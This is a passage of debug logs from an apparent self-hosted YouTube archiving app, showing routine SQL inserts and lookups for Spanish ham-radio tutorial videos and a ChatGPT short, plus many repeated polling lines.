?) [3] 23:02:44.342 [debug] QUERY OK source="media_items" db=0.8ms idle=555.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-23 17:00:05Z], 3] 23:02:44.344 [debug] QUERY OK source="media_items" db=1.4ms idle=557.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Primero de todo. Para hacer este video he tenido que consultar múltiples fuentes, vídeos y foros. El mérito de lo aquí expuesto es solo de los autores originales. Son muchos para citarlos, pero yo lo único que he hecho ha sido poner en un video mi experiencia de montar esta antena.\nEn este video describimos el montaje de un clon de la antena Sirio GainMaster. Obviamente los derechos de ese diseño son de la marca comercial. Mi propósito es tan solo educativo: mostrar a otros como de fácil puede ser montar una antena para uso propio.\n\nEl diseño de la Bobina de choque empleada esta aquí:\nhttps://www.thingiverse.com/thing:5918398\n\n\n#antena #gainmaster #radioaficionados #cb27 #27mhz #sirio #hamradio #antenna #cincooctavos #nanovna #nanovnah4\n\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:54 - Intro Canal\n01:11 - Descripción montaje\n10:27 - Condensador coaxial\n13:37 - Cable 2.5 mm\n14:55 - Primer tramo coaxial\n17:06 - Stub impedancias\n17:51 - Bobina choque\n18:41 - Conexión stub y choque\n21:34 - Antena completa\n22:26 - Montada en caña\n23:17 - Medida ROE primera prueba\n23:28 - Segunda prueba\n23:48 - Medicion final ROE\n24:00 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "104 - CONSTRUIMOS UNA ANTENA 5/8 CON COBERTURA DE 24 A 29 Mhz", "4db3a389-9d85-4bd8-bbce-0bc8a2e38225", 1888, false, "7qUxsMICPTE", "https://www.youtube.com/watch?v=7qUxsMICPTE", 77, "/downloads/music/ea3grn/104 - CONSTRUIMOS UNA ANTENA 5⧸8 CON COBERTURA DE 24 A 29 Mhz.m4a", false, false, false, 3, [], 98, ~U[2023-03-23 17:00:05Z], ~U[2026-02-07 22:02:44Z], ~U[2026-02-07 22:02:44Z], "Primero de todo. Para hacer este video he tenido que consultar múltiples fuentes, vídeos y foros. El mérito de lo aquí expuesto es solo de los autores originales. Son muchos para citarlos, pero yo lo único que he hecho ha sido poner en un video mi experiencia de montar esta antena.\nEn este video describimos el montaje de un clon de la antena Sirio GainMaster. Obviamente los derechos de ese diseño son de la marca comercial. Mi propósito es tan solo educativo: mostrar a otros como de fácil puede ser montar una antena para uso propio.\n\nEl diseño de la Bobina de choque empleada esta aquí:\nhttps://www.thingiverse.com/thing:5918398\n\n\n#antena #gainmaster #radioaficionados #cb27 #27mhz #sirio #hamradio #antenna #cincooctavos #nanovna #nanovnah4\n\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n00:54 - Intro Canal\n01:11 - Descripción montaje\n10:27 - Condensador coaxial\n13:37 - Cable 2.5 mm\n14:55 - Primer tramo coaxial\n17:06 - Stub impedancias\n17:51 - Bobina choque\n18:41 - Conexión stub y choque\n21:34 - Antena completa\n22:26 - Montada en caña\n23:17 - Medida ROE primera prueba\n23:28 - Segunda prueba\n23:48 - Medicion final ROE\n24:00 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "104 - CONSTRUIMOS UNA ANTENA 5/8 CON COBERTURA DE 24 A 29 Mhz", 1888, false, "7qUxsMICPTE", "https://www.youtube.com/watch?v=7qUxsMICPTE", "/downloads/music/ea3grn/104 - CONSTRUIMOS UNA ANTENA 5⧸8 CON COBERTURA DE 24 A 29 Mhz.m4a", false, 3, ~U[2023-03-23 17:00:05Z]] 23:02:44.350 [debug] QUERY OK source="sources" db=5.5ms queue=0.1ms idle=559.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:02:44.351 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=9.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:02:44.351 [debug] QUERY OK source="media_items" db=0.4ms idle=9.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1459] 23:02:44.352 [debug] Current batch of media processed. Will check again in 1000ms 23:02:45.269 [debug] Current batch of media processed. Will check again in 1000ms 23:02:45.352 [debug] Current batch of media processed. Will check again in 1000ms 23:02:46.270 [debug] Current batch of media processed. Will check again in 1000ms 23:02:46.353 [debug] Current batch of media processed. Will check again in 1000ms 23:02:47.271 [debug] Current batch of media processed. Will check again in 1000ms 23:02:47.354 [debug] Current batch of media processed. Will check again in 1000ms 23:02:48.272 [debug] Current batch of media processed. Will check again in 1000ms 23:02:48.355 [debug] Current batch of media processed. Will check again in 1000ms 23:02:49.273 [debug] Current batch of media processed. Will check again in 1000ms 23:02:49.356 [debug] Current batch of media processed. Will check again in 1000ms 23:02:50.274 [debug] Current batch of media processed. Will check again in 1000ms 23:02:50.357 [debug] Current batch of media processed. Will check again in 1000ms 23:02:51.275 [debug] Current batch of media processed. Will check again in 1000ms 23:02:51.327 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:51.358 [debug] Current batch of media processed. Will check again in 1000ms 23:02:52.276 [debug] Current batch of media processed. Will check again in 1000ms 23:02:52.359 [debug] Current batch of media processed. Will check again in 1000ms 23:02:53.277 [debug] Current batch of media processed. Will check again in 1000ms 23:02:53.360 [debug] Current batch of media processed. Will check again in 1000ms 23:02:54.278 [debug] Current batch of media processed. Will check again in 1000ms 23:02:54.361 [debug] Current batch of media processed. Will check again in 1000ms 23:02:55.279 [debug] Current batch of media processed. Will check again in 1000ms 23:02:55.362 [debug] Current batch of media processed. Will check again in 1000ms 23:02:56.280 [debug] Current batch of media processed. Will check again in 1000ms 23:02:56.363 [debug] Current batch of media processed. Will check again in 1000ms 23:02:57.281 [debug] Current batch of media processed. Will check again in 1000ms 23:02:57.364 [debug] Current batch of media processed. Will check again in 1000ms 23:02:58.282 [debug] Current batch of media processed. Will check again in 1000ms 23:02:58.365 [debug] Current batch of media processed. Will check again in 1000ms 23:02:59.283 [debug] Current batch of media processed. Will check again in 1000ms 23:02:59.366 [debug] Current batch of media processed. Will check again in 1000ms 23:03:00.145 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:00.284 [debug] Current batch of media processed. Will check again in 1000ms 23:03:00.367 [debug] Current batch of media processed. Will check again in 1000ms 23:03:01.285 [debug] Current batch of media processed. Will check again in 1000ms 23:03:01.368 [debug] Current batch of media processed. Will check again in 1000ms 23:03:02.286 [debug] Current batch of media processed. Will check again in 1000ms 23:03:02.369 [debug] Current batch of media processed. Will check again in 1000ms 23:03:03.287 [debug] Current batch of media processed. Will check again in 1000ms 23:03:03.370 [debug] Current batch of media processed. Will check again in 1000ms 23:03:04.288 [debug] Current batch of media processed. Will check again in 1000ms 23:03:04.371 [debug] Current batch of media processed. Will check again in 1000ms 23:03:05.289 [debug] Current batch of media processed. Will check again in 1000ms 23:03:05.372 [debug] Current batch of media processed. Will check again in 1000ms 23:03:06.290 [debug] Current batch of media processed. Will check again in 1000ms 23:03:06.373 [debug] Current batch of media processed. Will check again in 1000ms 23:03:07.291 [debug] Current batch of media processed. Will check again in 1000ms 23:03:07.374 [debug] Current batch of media processed. Will check again in 1000ms 23:03:08.292 [debug] Current batch of media processed. Will check again in 1000ms 23:03:08.375 [debug] Current batch of media processed. Will check again in 1000ms 23:03:09.293 [debug] Current batch of media processed. Will check again in 1000ms 23:03:09.376 [debug] Current batch of media processed. Will check again in 1000ms 23:03:10.294 [debug] Current batch of media processed. Will check again in 1000ms 23:03:10.377 [debug] Current batch of media processed. Will check again in 1000ms 23:03:11.295 [debug] Current batch of media processed. Will check again in 1000ms 23:03:11.378 [debug] Current batch of media processed. Will check again in 1000ms 23:03:12.296 [debug] Current batch of media processed. Will check again in 1000ms 23:03:12.379 [debug] Current batch of media processed. Will check again in 1000ms 23:03:13.297 [debug] Current batch of media processed. Will check again in 1000ms 23:03:13.380 [debug] Current batch of media processed. Will check again in 1000ms 23:03:14.298 [debug] Current batch of media processed. Will check again in 1000ms 23:03:14.381 [debug] Current batch of media processed. Will check again in 1000ms 23:03:15.299 [debug] Current batch of media processed. Will check again in 1000ms 23:03:15.382 [debug] Current batch of media processed. Will check again in 1000ms 23:03:16.300 [debug] Current batch of media processed. Will check again in 1000ms 23:03:16.383 [debug] Current batch of media processed. Will check again in 1000ms 23:03:17.301 [debug] Current batch of media processed. Will check again in 1000ms 23:03:17.384 [debug] Current batch of media processed. Will check again in 1000ms 23:03:18.302 [debug] Current batch of media processed. Will check again in 1000ms 23:03:18.385 [debug] Current batch of media processed. Will check again in 1000ms 23:03:19.303 [debug] Current batch of media processed. Will check again in 1000ms 23:03:19.386 [debug] Current batch of media processed. Will check again in 1000ms 23:03:20.304 [debug] Current batch of media processed. Will check again in 1000ms 23:03:20.387 [debug] Current batch of media processed. Will check again in 1000ms 23:03:21.305 [debug] Current batch of media processed. Will check again in 1000ms 23:03:21.329 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:21.388 [debug] Current batch of media processed. Will check again in 1000ms 23:03:22.306 [debug] Current batch of media processed. Will check again in 1000ms 23:03:22.389 [debug] Current batch of media processed. Will check again in 1000ms 23:03:23.307 [debug] Current batch of media processed. Will check again in 1000ms 23:03:23.390 [debug] Current batch of media processed. Will check again in 1000ms 23:03:24.308 [debug] Current batch of media processed. Will check again in 1000ms 23:03:24.391 [debug] Current batch of media processed. Will check again in 1000ms 23:03:25.309 [debug] Current batch of media processed. Will check again in 1000ms 23:03:25.392 [debug] Current batch of media processed. Will check again in 1000ms 23:03:26.310 [debug] Current batch of media processed. Will check again in 1000ms 23:03:26.393 [debug] Current batch of media processed. Will check again in 1000ms 23:03:27.311 [debug] Current batch of media processed. Will check again in 1000ms 23:03:27.394 [debug] Current batch of media processed. Will check again in 1000ms 23:03:28.312 [debug] Current batch of media processed. Will check again in 1000ms 23:03:28.395 [debug] Current batch of media processed. Will check again in 1000ms 23:03:29.313 [debug] Current batch of media processed. Will check again in 1000ms 23:03:29.396 [debug] Current batch of media processed. Will check again in 1000ms 23:03:30.314 [debug] Current batch of media processed. Will check again in 1000ms 23:03:30.397 [debug] Current batch of media processed. Will check again in 1000ms 23:03:31.315 [debug] Current batch of media processed. Will check again in 1000ms 23:03:31.399 [debug] Current batch of media processed. Will check again in 1000ms 23:03:32.316 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 13: CHATGPT NUEVAS FUNCIONALIDADES: Descubre las limitaciones de búsqueda de ChatGPT y cómo impactan la investigación científica. Exploramos cómo las investigaciones pequeñas se transforman en grandes descubrimientos. ¡Acompáñanos en este análisis esencial! #ChatGPT #InteligenciaArtificial #InvestigaciónCientífica #LimitacionesChatGPT #BúsquedasOnline #Tecnología #Innovación #DescubrimientosCientíficos #AnálisisTecnológico #IAvanzada", "duration" => 23, "filename" => "/downloads/music/IA mí QUÉ/ChatGPT: ¡De Limitaciones a Investigaciones Épicas! ¿Y a mí qué?.m4a", "id" => "di5dsTrRyZg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/di5dsTrRyZg", "playlist_index" => 22, "timestamp" => 1747000599, "title" => "ChatGPT: ¡De Limitaciones a Investigaciones Épicas! ¿Y a mí qué?", "upload_date" => "20250511"} 23:03:32.317 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1529.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:03:32.318 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=532.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:03:32.320 [debug] QUERY OK source="media_items" db=0.8ms queue=0.8ms idle=533.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-11 21:56:39Z], 2] 23:03:32.322 [debug] QUERY OK source="media_items" db=1.2ms idle=534.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 13: CHATGPT NUEVAS FUNCIONALIDADES: Descubre las limitaciones de búsqueda de ChatGPT y cómo impactan la investigación científica. Exploramos cómo las investigaciones pequeñas se transforman en grandes descubrimientos. ¡Acompáñanos en este análisis esencial! #ChatGPT #InteligenciaArtificial #InvestigaciónCientífica #LimitacionesChatGPT #BúsquedasOnline #Tecnología #Innovación #DescubrimientosCientíficos #AnálisisTecnológico #IAvanzada", "ChatGPT: ¡De Limitaciones a Investigaciones Épicas! ¿Y a mí qué?", "c968f204-374a-49c3-ba59-2abbca7ea655", 23, false, "di5dsTrRyZg", "https://www.youtube.com/shorts/di5dsTrRyZg", 22, "/downloads/music/IA mí QUÉ/ChatGPT: ¡De Limitaciones a Investigaciones Épicas! ¿Y a mí qué?.m4a", false, false, true, 2, [], 96, ~U[2025-05-11 21:56:39Z], ~U[2026-02-07 22:03:32Z], ~U[2026-02-07 22:03:32Z], "PARTE 13: CHATGPT NUEVAS FUNCIONALIDADES: Descubre las limitaciones de búsqueda de ChatGPT y cómo impactan la investigación científica. Exploramos cómo las investigaciones pequeñas se transforman en grandes descubrimientos. ¡Acompáñanos en este análisis esencial! #ChatGPT #InteligenciaArtificial #InvestigaciónCientífica #LimitacionesChatGPT #BúsquedasOnline #Tecnología #Innovación #DescubrimientosCientíficos #AnálisisTecnológico #IAvanzada", "ChatGPT: ¡De Limitaciones a Investigaciones Épicas! ¿Y a mí qué?", 23, false, "di5dsTrRyZg", "https://www.youtube.com/shorts/di5dsTrRyZg", "/downloads/music/IA mí QUÉ/ChatGPT: ¡De Limitaciones a Investigaciones Épicas! ¿Y a mí qué?.m4a", true, 2, ~U[2025-05-11 21:56:39Z]] 23:03:32.322 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=532.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:03:32.323 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:03:32.324 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1404] 23:03:32.324 [debug] Current batch of media processed. Will check again in 1000ms 23:03:32.400 [debug] Current batch of media processed. Will check again in 1000ms 23:03:33.325 [debug] Current batch of media processed. Will check again in 1000ms 23:03:33.401 [debug] Current batch of media processed. Will check again in 1000ms 23:03:34.326 [debug] Current batch of media processed. Will check again in 1000ms 23:03:34.404 [debug] Current batch of media processed. Will check again in 1000ms 23:03:35.327 [debug] Current batch of media processed. Will check again in 1000ms 23:03:35.404 [debug] Current batch of media processed. Will check again in 1000ms 23:03:36.328 [debug] Current batch of media processed. Will check again in 1000ms 23:03:36.405 [debug] Current batch of media processed. Will check again in 1000ms 23:03:37.329 [debug] Current batch of media processed. Will check again in 1000ms 23:03:37.406 [debug] Current batch of media processed. Will check again in 1000ms 23:03:38.330 [debug] Current batch of media processed. Will check again in 1000ms 23:03:38.407 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Bueno, por ser un animal, me he cargado el conector del NanoVNA. Vemos aquí como repararlo y de paso a ver si habilitamos el slot de la microSD que lleva tapado. Es un modelo H4.\n\n------ Contenido del video -------\n00:00 - Inicio\n01:14 - Intro canal\n01:33 - El problema\n03:00 - Desmontando\n05:55 - Quitando el conector\n07:30 - Soldando recambio\n09:12 - Encendiendo...\n12:00 - Calibración\n15:05 - Ranura microSD\n18:05 - Montando\n19:13 - Usando microSD\n\n#nanovna #radioaficionados #microsd #diyelectronics #hamradio #reparaciones \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1315, "filename" => "/downloads/music/ea3grn/103 - CAMBIO CONECTOR NANOVNA Y SLOT MICROSD.m4a", "id" => "VNXSlyJzZqA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VNXSlyJzZqA", "playlist_index" => 78, "timestamp" => 1678986028, "title" => "103 - CAMBIO CONECTOR NANOVNA Y SLOT MICROSD", "upload_date" => "20230316"} 23:03:38.408 [debug] QUERY OK source="sources" db=0.5ms idle=622.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:03:38.409 [debug] QUERY OK source="sources" db=0.4ms idle=623.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:03:38.410 [debug] QUERY OK source="media_items" db=0.6ms idle=623.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-16 17:00:28Z], 3] 23:03:38.411 [debug] QUERY OK source="media_items" db=1.0ms idle=624.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Bueno, por ser un animal, me he cargado el conector del NanoVNA. Vemos aquí como repararlo y de paso a ver si habilitamos el slot de la microSD que lleva tapado. Es un modelo H4.\n\n------ Contenido del video -------\n00:00 - Inicio\n01:14 - Intro canal\n01:33 - El problema\n03:00 - Desmontando\n05:55 - Quitando el conector\n07:30 - Soldando recambio\n09:12 - Encendiendo...\n12:00 - Calibración\n15:05 - Ranura microSD\n18:05 - Montando\n19:13 - Usando microSD\n\n#nanovna #radioaficionados #microsd #diyelectronics #hamradio #reparaciones \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "103 - CAMBIO CONECTOR NANOVNA Y SLOT MICROSD", "f962591a-1815-4422-bfb0-707f15d24f9d", 1315, false, "VNXSlyJzZqA", "https://www.youtube.com/watch?v=VNXSlyJzZqA", 78, "/downloads/music/ea3grn/103 - CAMBIO CONECTOR NANOVNA Y SLOT MICROSD.m4a", false, false, false, 3, [], 98, ~U[2023-03-16 17:00:28Z], ~U[2026-02-07 22:03:38Z], ~U[2026-02-07 22:03:38Z], "Bueno, por ser un animal, me he cargado el conector del NanoVNA. Vemos aquí como repararlo y de paso a ver si habilitamos el slot de la microSD que lleva tapado. Es un modelo H4.\n\n------ Contenido del video -------\n00:00 - Inicio\n01:14 - Intro canal\n01:33 - El problema\n03:00 - Desmontando\n05:55 - Quitando el conector\n07:30 - Soldando recambio\n09:12 - Encendiendo...\n12:00 - Calibración\n15:05 - Ranura microSD\n18:05 - Montando\n19:13 - Usando microSD\n\n#nanovna #radioaficionados #microsd #diyelectronics #hamradio #reparaciones \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "103 - CAMBIO CONECTOR NANOVNA Y SLOT MICROSD", 1315, false, "VNXSlyJzZqA", "https://www.youtube.com/watch?v=VNXSlyJzZqA", "/downloads/music/ea3grn/103 - CAMBIO CONECTOR NANOVNA Y SLOT MICROSD.m4a", false, 3, ~U[2023-03-16 17:00:28Z]] 23:03:38.412 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=608.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:03:38.413 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:03:38.414 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true 